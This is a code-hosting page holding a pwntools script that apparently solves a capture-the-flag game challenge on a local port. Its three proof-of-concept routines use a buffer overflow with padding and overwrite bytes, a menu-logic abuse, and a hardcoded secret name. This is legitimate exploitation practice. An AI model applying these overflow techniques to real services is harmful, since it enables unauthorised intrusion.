You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

71 lines
1.5 KiB

4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
  1. from pwn import process, remote
  2. FILENAME = "./spell-warz-again-final"
  3. def run():
  4. # return process(FILENAME)
  5. return remote("127.0.0.1", 60204)
  6. def poc0():
  7. p = run()
  8. print p.recvuntil(">")
  9. p.sendline(("A" * 32) + ("\x11\x11\x11\x11\x11\x11\x11\x11\x01"))
  10. print p.recvuntil(">")
  11. p.sendline("y")
  12. print p.recvuntil(">")
  13. p.sendline("2")
  14. print p.recvuntil(">")
  15. p.sendline("4")
  16. print p.recvuntil(">")
  17. p.sendline("y")
  18. for _ in xrange(10):
  19. print p.recvuntil(">")
  20. p.sendline("100")
  21. p.interactive()
  22. def poc1():
  23. p = run()
  24. print p.recvuntil(">")
  25. p.sendline("Leo")
  26. print p.recvuntil(">")
  27. p.sendline("y")
  28. for _ in range(2):
  29. print p.recvuntil(">")
  30. p.sendline("3")
  31. print p.recvuntil(">")
  32. p.sendline("0")
  33. print p.recvuntil(">")
  34. p.sendline("y")
  35. print p.recvuntil(">")
  36. p.sendline("1")
  37. print p.recvuntil(">")
  38. p.sendline("4")
  39. print p.recvuntil(">")
  40. p.sendline("y")
  41. for _ in range(10):
  42. print p.recvuntil(">")
  43. p.sendline("99")
  44. p.interactive()
  45. def poc2():
  46. p = run()
  47. print p.recvuntil(">")
  48. p.sendline("__th3_w0rLd_D3str0Y3r_15_b4ck__")
  49. print p.recvuntil(">")
  50. p.sendline("y")
  51. print p.recvuntil(">")
  52. p.sendline("2")
  53. print p.recvuntil(">")
  54. p.sendline("4")
  55. print p.recvuntil(">")
  56. p.sendline("y")
  57. for _ in xrange(10):
  58. print p.recvuntil(">")
  59. p.sendline("100")
  60. p.interactive()
  61. if __name__ == "__main__":
  62. poc1()